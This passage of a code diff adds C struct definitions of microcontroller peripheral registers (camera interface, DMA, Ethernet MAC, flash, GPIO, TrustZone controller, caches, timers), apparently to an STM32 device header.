DCMI control register 1, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCMI status register, Address offset: 0x04 */ + __IO uint32_t RISR; /*!< DCMI raw interrupt status register, Address offset: 0x08 */ + __IO uint32_t IER; /*!< DCMI interrupt enable register, Address offset: 0x0C */ + __IO uint32_t MISR; /*!< DCMI masked interrupt status register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< DCMI interrupt clear register, Address offset: 0x14 */ + __IO uint32_t ESCR; /*!< DCMI embedded synchronization code register, Address offset: 0x18 */ + __IO uint32_t ESUR; /*!< DCMI embedded synchronization unmask register, Address offset: 0x1C */ + __IO uint32_t CWSTRTR; /*!< DCMI crop window start, Address offset: 0x20 */ + __IO uint32_t CWSIZER; /*!< DCMI crop window size, Address offset: 0x24 */ + __IO uint32_t DR; /*!< DCMI data register, Address offset: 0x28 */ +} DCMI_TypeDef; + +/** + * @brief PSSI + */ +typedef struct +{ + __IO uint32_t CR; /*!< PSSI control register, Address offset: 0x000 */ + __IO uint32_t SR; /*!< PSSI status register, Address offset: 0x004 */ + __IO uint32_t RIS; /*!< PSSI raw interrupt status register, Address offset: 0x008 */ + __IO uint32_t IER; /*!< PSSI interrupt enable register, Address offset: 0x00C */ + __IO uint32_t MIS; /*!< PSSI masked interrupt status register, Address offset: 0x010 */ + __IO uint32_t ICR; /*!< PSSI interrupt clear register, Address offset: 0x014 */ + __IO uint32_t RESERVED1[4]; /*!< Reserved, 0x018 - 0x024 */ + __IO uint32_t DR; /*!< PSSI data register, Address offset: 0x028 */ +} PSSI_TypeDef; + +/** + * @brief DMA Controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< DMA secure configuration register, Address offset: 0x00 */ + __IO uint32_t PRIVCFGR; /*!< DMA privileged configuration register, Address offset: 0x04 */ + __IO uint32_t RCFGLOCKR; /*!< DMA lock configuration register, Address offset: 0x08 */ + __IO uint32_t MISR; /*!< DMA non secure masked interrupt status register, Address offset: 0x0C */ + __IO uint32_t SMISR; /*!< DMA secure masked interrupt status register, Address offset: 0x10 */ +} DMA_TypeDef; + +typedef struct +{ + __IO uint32_t CLBAR; /*!< DMA channel x linked-list base address register, Address offset: 0x50 + (x * 0x80) */ + uint32_t RESERVED1[2]; /*!< Reserved 1, Address offset: 0x54 -- 0x58 */ + __IO uint32_t CFCR; /*!< DMA channel x flag clear register, Address offset: 0x5C + (x * 0x80) */ + __IO uint32_t CSR; /*!< DMA channel x flag status register, Address offset: 0x60 + (x * 0x80) */ + __IO uint32_t CCR; /*!< DMA channel x control register, Address offset: 0x64 + (x * 0x80) */ + uint32_t RESERVED2[10];/*!< Reserved 2, Address offset: 0x68 -- 0x8C */ + __IO uint32_t CTR1; /*!< DMA channel x transfer register 1, Address offset: 0x90 + (x * 0x80) */ + __IO uint32_t CTR2; /*!< DMA channel x transfer register 2, Address offset: 0x94 + (x * 0x80) */ + __IO uint32_t CBR1; /*!< DMA channel x block register 1, Address offset: 0x98 + (x * 0x80) */ + __IO uint32_t CSAR; /*!< DMA channel x source address register, Address offset: 0x9C + (x * 0x80) */ + __IO uint32_t CDAR; /*!< DMA channel x destination address register, Address offset: 0xA0 + (x * 0x80) */ + __IO uint32_t CTR3; /*!< DMA channel x transfer register 3, Address offset: 0xA4 + (x * 0x80) */ + __IO uint32_t CBR2; /*!< DMA channel x block register 2, Address offset: 0xA8 + (x * 0x80) */ + uint32_t RESERVED3[8]; /*!< Reserved 3, Address offset: 0xAC -- 0xC8 */ + __IO uint32_t CLLR; /*!< DMA channel x linked-list address register, Address offset: 0xCC + (x * 0x80) */ +} DMA_Channel_TypeDef; + +/** + * @brief Ethernet MAC + */ +typedef struct +{ + __IO uint32_t MACCR; + __IO uint32_t MACECR; + __IO uint32_t MACPFR; + __IO uint32_t MACWTR; + __IO uint32_t MACHT0R; + __IO uint32_t MACHT1R; + uint32_t RESERVED1[14]; + __IO uint32_t MACVTR; + uint32_t RESERVED2; + __IO uint32_t MACVHTR; + uint32_t RESERVED3; + __IO uint32_t MACVIR; + __IO uint32_t MACIVIR; + uint32_t RESERVED4[2]; + __IO uint32_t MACTFCR; + uint32_t RESERVED5[7]; + __IO uint32_t MACRFCR; + uint32_t RESERVED6[7]; + __IO uint32_t MACISR; + __IO uint32_t MACIER; + __IO uint32_t MACRXTXSR; + uint32_t RESERVED7; + __IO uint32_t MACPCSR; + __IO uint32_t MACRWKPFR; + uint32_t RESERVED8[2]; + __IO uint32_t MACLCSR; + __IO uint32_t MACLTCR; + __IO uint32_t MACLETR; + __IO uint32_t MAC1USTCR; + uint32_t RESERVED9[12]; + __IO uint32_t MACVR; + __IO uint32_t MACDR; + uint32_t RESERVED10; + __IO uint32_t MACHWF0R; + __IO uint32_t MACHWF1R; + __IO uint32_t MACHWF2R; + uint32_t RESERVED11[54]; + __IO uint32_t MACMDIOAR; + __IO uint32_t MACMDIODR; + uint32_t RESERVED12[2]; + __IO uint32_t MACARPAR; + uint32_t RESERVED13[59]; + __IO uint32_t MACA0HR; + __IO uint32_t MACA0LR; + __IO uint32_t MACA1HR; + __IO uint32_t MACA1LR; + __IO uint32_t MACA2HR; + __IO uint32_t MACA2LR; + __IO uint32_t MACA3HR; + __IO uint32_t MACA3LR; + uint32_t RESERVED14[248]; + __IO uint32_t MMCCR; + __IO uint32_t MMCRIR; + __IO uint32_t MMCTIR; + __IO uint32_t MMCRIMR; + __IO uint32_t MMCTIMR; + uint32_t RESERVED15[14]; + __IO uint32_t MMCTSCGPR; + __IO uint32_t MMCTMCGPR; + uint32_t RESERVED16[5]; + __IO uint32_t MMCTPCGR; + uint32_t RESERVED17[10]; + __IO uint32_t MMCRCRCEPR; + __IO uint32_t MMCRAEPR; + uint32_t RESERVED18[10]; + __IO uint32_t MMCRUPGR; + uint32_t RESERVED19[9]; + __IO uint32_t MMCTLPIMSTR; + __IO uint32_t MMCTLPITCR; + __IO uint32_t MMCRLPIMSTR; + __IO uint32_t MMCRLPITCR; + uint32_t RESERVED20[65]; + __IO uint32_t MACL3L4C0R; + __IO uint32_t MACL4A0R; + uint32_t RESERVED21[2]; + __IO uint32_t MACL3A0R0R; + __IO uint32_t MACL3A1R0R; + __IO uint32_t MACL3A2R0R; + __IO uint32_t MACL3A3R0R; + uint32_t RESERVED22[4]; + __IO uint32_t MACL3L4C1R; + __IO uint32_t MACL4A1R; + uint32_t RESERVED23[2]; + __IO uint32_t MACL3A0R1R; + __IO uint32_t MACL3A1R1R; + __IO uint32_t MACL3A2R1R; + __IO uint32_t MACL3A3R1R; + uint32_t RESERVED24[108]; + __IO uint32_t MACTSCR; + __IO uint32_t MACSSIR; + __IO uint32_t MACSTSR; + __IO uint32_t MACSTNR; + __IO uint32_t MACSTSUR; + __IO uint32_t MACSTNUR; + __IO uint32_t MACTSAR; + uint32_t RESERVED25; + __IO uint32_t MACTSSR; + uint32_t RESERVED26[3]; + __IO uint32_t MACTTSSNR; + __IO uint32_t MACTTSSSR; + uint32_t RESERVED27[2]; + __IO uint32_t MACACR; + uint32_t RESERVED28; + __IO uint32_t MACATSNR; + __IO uint32_t MACATSSR; + __IO uint32_t MACTSIACR; + __IO uint32_t MACTSEACR; + __IO uint32_t MACTSICNR; + __IO uint32_t MACTSECNR; + uint32_t RESERVED29[4]; + __IO uint32_t MACPPSCR; + uint32_t RESERVED30[3]; + __IO uint32_t MACPPSTTSR; + __IO uint32_t MACPPSTTNR; + __IO uint32_t MACPPSIR; + __IO uint32_t MACPPSWR; + uint32_t RESERVED31[12]; + __IO uint32_t MACPOCR; + __IO uint32_t MACSPI0R; + __IO uint32_t MACSPI1R; + __IO uint32_t MACSPI2R; + __IO uint32_t MACLMIR; + uint32_t RESERVED32[11]; + __IO uint32_t MTLOMR; + uint32_t RESERVED33[7]; + __IO uint32_t MTLISR; + uint32_t RESERVED34[55]; + __IO uint32_t MTLTQOMR; + __IO uint32_t MTLTQUR; + __IO uint32_t MTLTQDR; + uint32_t RESERVED35[8]; + __IO uint32_t MTLQICSR; + __IO uint32_t MTLRQOMR; + __IO uint32_t MTLRQMPOCR; + __IO uint32_t MTLRQDR; + uint32_t RESERVED36[177]; + __IO uint32_t DMAMR; + __IO uint32_t DMASBMR; + __IO uint32_t DMAISR; + __IO uint32_t DMADSR; + uint32_t RESERVED37[60]; + __IO uint32_t DMACCR; + __IO uint32_t DMACTCR; + __IO uint32_t DMACRCR; + uint32_t RESERVED38[2]; + __IO uint32_t DMACTDLAR; + uint32_t RESERVED39; + __IO uint32_t DMACRDLAR; + __IO uint32_t DMACTDTPR; + uint32_t RESERVED40; + __IO uint32_t DMACRDTPR; + __IO uint32_t DMACTDRLR; + __IO uint32_t DMACRDRLR; + __IO uint32_t DMACIER; + __IO uint32_t DMACRIWTR; + __IO uint32_t DMACSFCSR; + uint32_t RESERVED41; + __IO uint32_t DMACCATDR; + uint32_t RESERVED42; + __IO uint32_t DMACCARDR; + uint32_t RESERVED43; + __IO uint32_t DMACCATBR; + uint32_t RESERVED44; + __IO uint32_t DMACCARBR; + __IO uint32_t DMACSR; + uint32_t RESERVED45[2]; + __IO uint32_t DMACMFCR; +}ETH_TypeDef; + +/** + * @brief Asynch Interrupt/Event Controller (EXTI) + */ +typedef struct +{ + __IO uint32_t RTSR1; /*!< EXTI Rising Trigger Selection Register 1, Address offset: 0x00 */ + __IO uint32_t FTSR1; /*!< EXTI Falling Trigger Selection Register 1, Address offset: 0x04 */ + __IO uint32_t SWIER1; /*!< EXTI Software Interrupt event Register 1, Address offset: 0x08 */ + __IO uint32_t RPR1; /*!< EXTI Rising Pending Register 1, Address offset: 0x0C */ + __IO uint32_t FPR1; /*!< EXTI Falling Pending Register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR1; /*!< EXTI Security Configuration Register 1, Address offset: 0x14 */ + __IO uint32_t PRIVCFGR1; /*!< EXTI Privilege Configuration Register 1, Address offset: 0x18 */ + uint32_t RESERVED1; /*!< Reserved 1, Address offset: 0x1C */ + __IO uint32_t RTSR2; /*!< EXTI Rising Trigger Selection Register 2, Address offset: 0x20 */ + __IO uint32_t FTSR2; /*!< EXTI Falling Trigger Selection Register 2, Address offset: 0x24 */ + __IO uint32_t SWIER2; /*!< EXTI Software Interrupt event Register 2, Address offset: 0x28 */ + __IO uint32_t RPR2; /*!< EXTI Rising Pending Register 2, Address offset: 0x2C */ + __IO uint32_t FPR2; /*!< EXTI Falling Pending Register 2, Address offset: 0x30 */ + __IO uint32_t SECCFGR2; /*!< EXTI Security Configuration Register 2, Address offset: 0x34 */ + __IO uint32_t PRIVCFGR2; /*!< EXTI Privilege Configuration Register 2, Address offset: 0x38 */ + uint32_t RESERVED2[9]; /*!< Reserved 2, 0x3C-- 0x5C */ + __IO uint32_t EXTICR[4]; /*!< EXIT External Interrupt Configuration Register, 0x60 -- 0x6C */ + __IO uint32_t LOCKR; /*!< EXTI Lock Register, Address offset: 0x70 */ + uint32_t RESERVED3[3]; /*!< Reserved 3, 0x74 -- 0x7C */ + __IO uint32_t IMR1; /*!< EXTI Interrupt Mask Register 1, Address offset: 0x80 */ + __IO uint32_t EMR1; /*!< EXTI Event Mask Register 1, Address offset: 0x84 */ + uint32_t RESERVED4[2]; /*!< Reserved 4, 0x88 -- 0x8C */ + __IO uint32_t IMR2; /*!< EXTI Interrupt Mask Register 2, Address offset: 0x90 */ + __IO uint32_t EMR2; /*!< EXTI Event Mask Register 2, Address offset: 0x94 */ +} EXTI_TypeDef; + +/** + * @brief FLASH Registers + */ +typedef struct +{ + __IO uint32_t ACR; /*!< FLASH access control register, Address offset: 0x00 */ + __IO uint32_t NSKEYR; /*!< FLASH non-secure key register, Address offset: 0x04 */ + __IO uint32_t SECKEYR; /*!< FLASH secure key register, Address offset: 0x08 */ + __IO uint32_t OPTKEYR; /*!< FLASH option key register, Address offset: 0x0C */ + __IO uint32_t NSOBKKEYR; /*!< FLASH non-secure option bytes keys key register, Address offset: 0x10 */ + __IO uint32_t SECOBKKEYR; /*!< FLASH secure option bytes keys key register, Address offset: 0x14 */ + __IO uint32_t OPSR; /*!< FLASH OPSR register, Address offset: 0x18 */ + __IO uint32_t OPTCR; /*!< Flash Option Control Register, Address offset: 0x1C */ + __IO uint32_t NSSR; /*!< FLASH non-secure status register, Address offset: 0x20 */ + __IO uint32_t SECSR; /*!< FLASH secure status register, Address offset: 0x24 */ + __IO uint32_t NSCR; /*!< FLASH non-secure control register, Address offset: 0x28 */ + __IO uint32_t SECCR; /*!< FLASH secure control register, Address offset: 0x2C */ + __IO uint32_t NSCCR; /*!< FLASH non-secure clear control register, Address offset: 0x30 */ + __IO uint32_t SECCCR; /*!< FLASH secure clear control register, Address offset: 0x34 */ + uint32_t RESERVED1; /*!< Reserved1, Address offset: 0x38 */ + __IO uint32_t PRIVCFGR; /*!< FLASH privilege configuration register, Address offset: 0x3C */ + __IO uint32_t NSOBKCFGR; /*!< FLASH non-secure option byte key configuration register, Address offset: 0x40 */ + __IO uint32_t SECOBKCFGR; /*!< FLASH secure option byte key configuration register, Address offset: 0x44 */ + __IO uint32_t HDPEXTR; /*!< FLASH HDP extension register, Address offset: 0x48 */ + uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x4C */ + __IO uint32_t OPTSR_CUR; /*!< FLASH option status current register, Address offset: 0x50 */ + __IO uint32_t OPTSR_PRG; /*!< FLASH option status to program register, Address offset: 0x54 */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x58-0x5C */ + __IO uint32_t NSEPOCHR_CUR; /*!< FLASH non-secure epoch current register, Address offset: 0x60 */ + __IO uint32_t NSEPOCHR_PRG; /*!< FLASH non-secure epoch to program register, Address offset: 0x64 */ + __IO uint32_t SECEPOCHR_CUR; /*!< FLASH secure epoch current register, Address offset: 0x68 */ + __IO uint32_t SECEPOCHR_PRG; /*!< FLASH secure epoch to program register, Address offset: 0x6C */ + __IO uint32_t OPTSR2_CUR; /*!< FLASH option status current register 2, Address offset: 0x70 */ + __IO uint32_t OPTSR2_PRG; /*!< FLASH option status to program register 2, Address offset: 0x74 */ + uint32_t RESERVED4[2]; /*!< Reserved4, Address offset: 0x78-0x7C */ + __IO uint32_t NSBOOTR_CUR; /*!< FLASH non-secure unique boot entry current register, Address offset: 0x80 */ + __IO uint32_t NSBOOTR_PRG; /*!< FLASH non-secure unique boot entry to program register, Address offset: 0x84 */ + __IO uint32_t SECBOOTR_CUR; /*!< FLASH secure unique boot entry current register, Address offset: 0x88 */ + __IO uint32_t SECBOOTR_PRG; /*!< FLASH secure unique boot entry to program register, Address offset: 0x8C */ + __IO uint32_t OTPBLR_CUR; /*!< FLASH OTP block lock current register, Address offset: 0x90 */ + __IO uint32_t OTPBLR_PRG; /*!< FLASH OTP block Lock to program register, Address offset: 0x94 */ + uint32_t RESERVED5[2]; /*!< Reserved5, Address offset: 0x98-0x9C */ + __IO uint32_t SECBB1R1; /*!< FLASH secure block-based bank 1 register 1, Address offset: 0xA0 */ + __IO uint32_t SECBB1R2; /*!< FLASH secure block-based bank 1 register 2, Address offset: 0xA4 */ + __IO uint32_t SECBB1R3; /*!< FLASH secure block-based bank 1 register 3, Address offset: 0xA8 */ + __IO uint32_t SECBB1R4; /*!< FLASH secure block-based bank 1 register 4, Address offset: 0xAC */ + uint32_t RESERVED6[4]; /*!< Reserved6, Address offset: 0xB0-0xBC */ + __IO uint32_t PRIVBB1R1; /*!< FLASH privilege block-based bank 1 register 1, Address offset: 0xC0 */ + __IO uint32_t PRIVBB1R2; /*!< FLASH privilege block-based bank 1 register 2, Address offset: 0xC4 */ + __IO uint32_t PRIVBB1R3; /*!< FLASH privilege block-based bank 1 register 3, Address offset: 0xC8 */ + __IO uint32_t PRIVBB1R4; /*!< FLASH privilege block-based bank 1 register 4, Address offset: 0xCC */ + uint32_t RESERVED7[4]; /*!< Reserved7, Address offset: 0xD0-0xDC */ + __IO uint32_t SECWM1R_CUR; /*!< FLASH secure watermark 1 current register, Address offset: 0xE0 */ + __IO uint32_t SECWM1R_PRG; /*!< FLASH secure watermark 1 to program register, Address offset: 0xE4 */ + __IO uint32_t WRP1R_CUR; /*!< FLASH write sector group protection current register for bank1, Address offset: 0xE8 */ + __IO uint32_t WRP1R_PRG; /*!< FLASH write sector group protection to program register for bank1, Address offset: 0xEC */ + __IO uint32_t EDATA1R_CUR; /*!< FLASH data sectors configuration current register for bank1, Address offset: 0xF0 */ + __IO uint32_t EDATA1R_PRG; /*!< FLASH data sectors configuration to program register for bank1, Address offset: 0xF4 */ + __IO uint32_t HDP1R_CUR; /*!< FLASH HDP configuration current register for bank1, Address offset: 0xF8 */ + __IO uint32_t HDP1R_PRG; /*!< FLASH HDP configuration to program register for bank1, Address offset: 0xFC */ + __IO uint32_t ECCCORR; /*!< FLASH ECC correction register, Address offset: 0x100 */ + __IO uint32_t ECCDETR; /*!< FLASH ECC detection register, Address offset: 0x104 */ + __IO uint32_t ECCDR; /*!< FLASH ECC data register, Address offset: 0x108 */ + uint32_t RESERVED8[37]; /*!< Reserved8, Address offset: 0x10C-0x19C */ + __IO uint32_t SECBB2R1; /*!< FLASH secure block-based bank 2 register 1, Address offset: 0x1A0 */ + __IO uint32_t SECBB2R2; /*!< FLASH secure block-based bank 2 register 2, Address offset: 0x1A4 */ + __IO uint32_t SECBB2R3; /*!< FLASH secure block-based bank 2 register 3, Address offset: 0x1A8 */ + __IO uint32_t SECBB2R4; /*!< FLASH secure block-based bank 2 register 4, Address offset: 0x1AC */ + uint32_t RESERVED9[4]; /*!< Reserved9, Address offset: 0x1B0-0x1BC */ + __IO uint32_t PRIVBB2R1; /*!< FLASH privilege block-based bank 2 register 1, Address offset: 0x1C0 */ + __IO uint32_t PRIVBB2R2; /*!< FLASH privilege block-based bank 2 register 2, Address offset: 0x1C4 */ + __IO uint32_t PRIVBB2R3; /*!< FLASH privilege block-based bank 2 register 3, Address offset: 0x1C8 */ + __IO uint32_t PRIVBB2R4; /*!< FLASH privilege block-based bank 2 register 4, Address offset: 0x1CC */ + uint32_t RESERVED10[4]; /*!< Reserved10, Address offset: 0x1D0-0x1DC */ + __IO uint32_t SECWM2R_CUR; /*!< FLASH secure watermark 2 current register, Address offset: 0x1E0 */ + __IO uint32_t SECWM2R_PRG; /*!< FLASH secure watermark 2 to program register, Address offset: 0x1E4 */ + __IO uint32_t WRP2R_CUR; /*!< FLASH write sector group protection current register for bank2, Address offset: 0x1E8 */ + __IO uint32_t WRP2R_PRG; /*!< FLASH write sector group protection to program register for bank2, Address offset: 0x1EC */ + __IO uint32_t EDATA2R_CUR; /*!< FLASH data sectors configuration current register for bank2, Address offset: 0x1F0 */ + __IO uint32_t EDATA2R_PRG; /*!< FLASH data sectors configuration to program register for bank2, Address offset: 0x1F4 */ + __IO uint32_t HDP2R_CUR; /*!< FLASH HDP configuration current register for bank2, Address offset: 0x1F8 */ + __IO uint32_t HDP2R_PRG; /*!< FLASH HDP configuration to program register for bank2, Address offset: 0x1FC */ +} FLASH_TypeDef; + +/** + * @brief FMAC + */ +typedef struct +{ + __IO uint32_t X1BUFCFG; /*!< FMAC X1 Buffer Configuration register, Address offset: 0x00 */ + __IO uint32_t X2BUFCFG; /*!< FMAC X2 Buffer Configuration register, Address offset: 0x04 */ + __IO uint32_t YBUFCFG; /*!< FMAC Y Buffer Configuration register, Address offset: 0x08 */ + __IO uint32_t PARAM; /*!< FMAC Parameter register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< FMAC Control register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< FMAC Status register, Address offset: 0x14 */ + __IO uint32_t WDATA; /*!< FMAC Write Data register, Address offset: 0x18 */ + __IO uint32_t RDATA; /*!< FMAC Read Data register, Address offset: 0x1C */ +} FMAC_TypeDef; + +/** + * @brief General Purpose I/O + */ +typedef struct +{ + __IO uint32_t MODER; /*!< GPIO port mode register, Address offset: 0x00 */ + __IO uint32_t OTYPER; /*!< GPIO port output type register, Address offset: 0x04 */ + __IO uint32_t OSPEEDR; /*!< GPIO port output speed register, Address offset: 0x08 */ + __IO uint32_t PUPDR; /*!< GPIO port pull-up/pull-down register, Address offset: 0x0C */ + __IO uint32_t IDR; /*!< GPIO port input data register, Address offset: 0x10 */ + __IO uint32_t ODR; /*!< GPIO port output data register, Address offset: 0x14 */ + __IO uint32_t BSRR; /*!< GPIO port bit set/reset register, Address offset: 0x18 */ + __IO uint32_t LCKR; /*!< GPIO port configuration lock register, Address offset: 0x1C */ + __IO uint32_t AFR[2]; /*!< GPIO alternate function registers, Address offset: 0x20-0x24 */ + __IO uint32_t BRR; /*!< GPIO Bit Reset register, Address offset: 0x28 */ + __IO uint32_t HSLVR; /*!< GPIO high-speed low voltage register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< GPIO secure configuration register, Address offset: 0x30 */ +} GPIO_TypeDef; + +/** + * @brief Global TrustZone Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< TZSC control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t SECCFGR1; /*!< TZSC secure configuration register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR2; /*!< TZSC secure configuration register 2, Address offset: 0x14 */ + __IO uint32_t SECCFGR3; /*!< TZSC secure configuration register 3, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x1C */ + __IO uint32_t PRIVCFGR1; /*!< TZSC privilege configuration register 1, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR2; /*!< TZSC privilege configuration register 2, Address offset: 0x24 */ + __IO uint32_t PRIVCFGR3; /*!< TZSC privilege configuration register 3, Address offset: 0x28 */ + uint32_t RESERVED3[5]; /*!< Reserved3, Address offset: 0x2C-0x3C */ + __IO uint32_t MPCWM1ACFGR; /*!< TZSC memory 1 sub-region A watermark configuration register, Address offset: 0x40 */ + __IO uint32_t MPCWM1AR; /*!< TZSC memory 1 sub-region A watermark register, Address offset: 0x44 */ + __IO uint32_t MPCWM1BCFGR; /*!< TZSC memory 1 sub-region B watermark configuration register, Address offset: 0x48 */ + __IO uint32_t MPCWM1BR; /*!< TZSC memory 1 sub-region B watermark register, Address offset: 0x4C */ + __IO uint32_t MPCWM2ACFGR; /*!< TZSC memory 2 sub-region A watermark configuration register, Address offset: 0x50 */ + __IO uint32_t MPCWM2AR; /*!< TZSC memory 2 sub-region A watermark register, Address offset: 0x54 */ + __IO uint32_t MPCWM2BCFGR; /*!< TZSC memory 2 sub-region B watermark configuration register, Address offset: 0x58 */ + __IO uint32_t MPCWM2BR; /*!< TZSC memory 2 sub-region B watermark register, Address offset: 0x5C */ + __IO uint32_t MPCWM3ACFGR; /*!< TZSC memory 3 sub-region A watermark configuration register, Address offset: 0x60 */ + __IO uint32_t MPCWM3AR; /*!< TZSC memory 3 sub-region A watermark register, Address offset: 0x64 */ + __IO uint32_t MPCWM3BCFGR; /*!< TZSC memory 3 sub-region B watermark configuration register, Address offset: 0x68 */ + __IO uint32_t MPCWM3BR; /*!< TZSC memory 3 sub-region B watermark register, Address offset: 0x6C */ + __IO uint32_t MPCWM4ACFGR; /*!< TZSC memory 4 sub-region A watermark configuration register, Address offset: 0x70 */ + __IO uint32_t MPCWM4AR; /*!< TZSC memory 4 sub-region A watermark register, Address offset: 0x74 */ + __IO uint32_t MPCWM4BCFGR; /*!< TZSC memory 4 sub-region B watermark configuration register, Address offset: 0x78 */ + __IO uint32_t MPCWM4BR; /*!< TZSC memory 4 sub-region B watermark register, Address offset: 0x7c */ +} GTZC_TZSC_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< MPCBBx control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t CFGLOCKR1; /*!< MPCBBx lock register, Address offset: 0x10 */ + uint32_t RESERVED2[59]; /*!< Reserved2, Address offset: 0x14-0xFC */ + __IO uint32_t SECCFGR[32]; /*!< MPCBBx security configuration registers, Address offset: 0x100-0x17C */ + uint32_t RESERVED3[32]; /*!< Reserved3, Address offset: 0x180-0x1FC */ + __IO uint32_t PRIVCFGR[32]; /*!< MPCBBx privilege configuration registers, Address offset: 0x200-0x280 */ +} GTZC_MPCBB_TypeDef; + +typedef struct +{ + __IO uint32_t IER1; /*!< TZIC interrupt enable register 1, Address offset: 0x00 */ + __IO uint32_t IER2; /*!< TZIC interrupt enable register 2, Address offset: 0x04 */ + __IO uint32_t IER3; /*!< TZIC interrupt enable register 3, Address offset: 0x08 */ + __IO uint32_t IER4; /*!< TZIC interrupt enable register 4, Address offset: 0x0C */ + __IO uint32_t SR1; /*!< TZIC status register 1, Address offset: 0x10 */ + __IO uint32_t SR2; /*!< TZIC status register 2, Address offset: 0x14 */ + __IO uint32_t SR3; /*!< TZIC status register 3, Address offset: 0x18 */ + __IO uint32_t SR4; /*!< TZIC status register 4, Address offset: 0x1C */ + __IO uint32_t FCR1; /*!< TZIC flag clear register 1, Address offset: 0x20 */ + __IO uint32_t FCR2; /*!< TZIC flag clear register 2, Address offset: 0x24 */ + __IO uint32_t FCR3; /*!< TZIC flag clear register 3, Address offset: 0x28 */ + __IO uint32_t FCR4; /*!< TZIC flag clear register 3, Address offset: 0x2C */ +} GTZC_TZIC_TypeDef; + +/** + * @brief Instruction Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< ICACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< ICACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< ICACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< ICACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t HMONR; /*!< ICACHE hit monitor register, Address offset: 0x10 */ + __IO uint32_t MMONR; /*!< ICACHE miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t CRR0; /*!< ICACHE region 0 configuration register, Address offset: 0x20 */ + __IO uint32_t CRR1; /*!< ICACHE region 1 configuration register, Address offset: 0x24 */ + __IO uint32_t CRR2; /*!< ICACHE region 2 configuration register, Address offset: 0x28 */ + __IO uint32_t CRR3; /*!< ICACHE region 3 configuration register, Address offset: 0x2C */ +} ICACHE_TypeDef; + +/** + * @brief Data Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< DCACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< DCACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t RHMONR; /*!< DCACHE Read hit monitor register, Address offset: 0x10 */ + __IO uint32_t RMMONR; /*!< DCACHE Read miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t WHMONR; /*!< DCACHE Write hit monitor register, Address offset: 0x20 */ + __IO uint32_t WMMONR; /*!< DCACHE Write miss monitor register, Address offset: 0x24 */ + __IO uint32_t CMDRSADDRR; /*!< DCACHE Command Start Address register, Address offset: 0x28 */ + __IO uint32_t CMDREADDRR; /*!< DCACHE Command End Address register, Address offset: 0x2C */ +} DCACHE_TypeDef; + +/** + * @brief TIM + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TIM control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TIM control register 2, Address offset: 0x04 */ + __IO uint32_t SMCR; /*!< TIM slave mode control register, Address offset: 0x08 */ + __IO uint32_t DIER; /*!< TIM DMA/interrupt enable register, Address offset: 0x0C */ + __IO uint32_t SR; /*!< TIM status register, Address offset: 0x10 */ + __IO uint32_t EGR; /*!< TIM event generation register, Address offset: 0x14 */ + __IO uint32_t CCMR1; /*!< TIM capture/compare mode register 1, Address offset: 0x18 */ + __IO uint32_t CCMR2; /*!< TIM capture/compare mode register 2, Address offset: 0x1C */ + __IO uint32_t CCER; /*!< TIM capture/compare enable register, Address offset: 0x20 */ + __IO uint32_t CNT; /*!< TIM counter register, Address offset: 0x24 */ + __IO uint32_t PSC; /*!< TIM prescaler, Address offset: 0x28 */ + __IO uint32_t ARR; /*!< TIM auto-reload register, Address offset: 0x2C */ + __IO uint32_t RCR; /*!< TIM repetition counter register, Address offset: 0x30 */ + __IO uint32_t CCR1; /*!< TIM capture/compare register 1, Address offset: 0x34 */ + __IO uint32_t CCR2; /*!< TIM capture/compare register 2, Address offset: 0x38 */ + __IO uint32_t CCR3; /*!< TIM capture/compare register 3, Address offset: 0x3C */ + __IO uint32_t CCR4; /*!< TIM capture/compare register 4, Address offset: 0x40 */ + __IO uint32_t BDTR; /*!< TIM break and dead-time register, Address offset: 0x44 */ + __IO uint32_t CCR5; /*!< TIM capture/compare register 5, Address offset: 0x48 */ + __IO uint32_t CCR6; /*!< TIM capture/compare register 6, Address offset: 0x4C */ + __IO uint32_t CCMR3; /*!< TIM capture/compare mode register 3, Address offset: 0x50 */ + __IO uint32_t DTR2; /*!< TIM deadtime register 2, Address offset: 0x54 */ + __IO uint32_t ECR; /*!< TIM encoder control register, Address offset: 0x58 */ + __IO uint32_t TISEL; /*!< TIM Input Selection register, Address offset: 0x5C */ + __IO uint32_t AF1; /*!< TIM alternate function option register 1, Address offset: 0x60 */ + __IO uint32_t AF2; /*!< TIM alternate function option register 2, Address offset: 0x64 */ + __IO uint32_t OR1 ; /*!< TIM option register, Address offset: 0x68 */ + uint32_t RESERVED0[220];/*!< Reserved, Address offset: 0x6C */ + __IO uint32_t DCR; /*!< TIM DMA control register, Address offset: 0x3DC */ + __IO uint32_t DMAR; /*!< TIM DMA address for full transfer, Address offset: 0x3E0 */ +} TIM_TypeDef; + 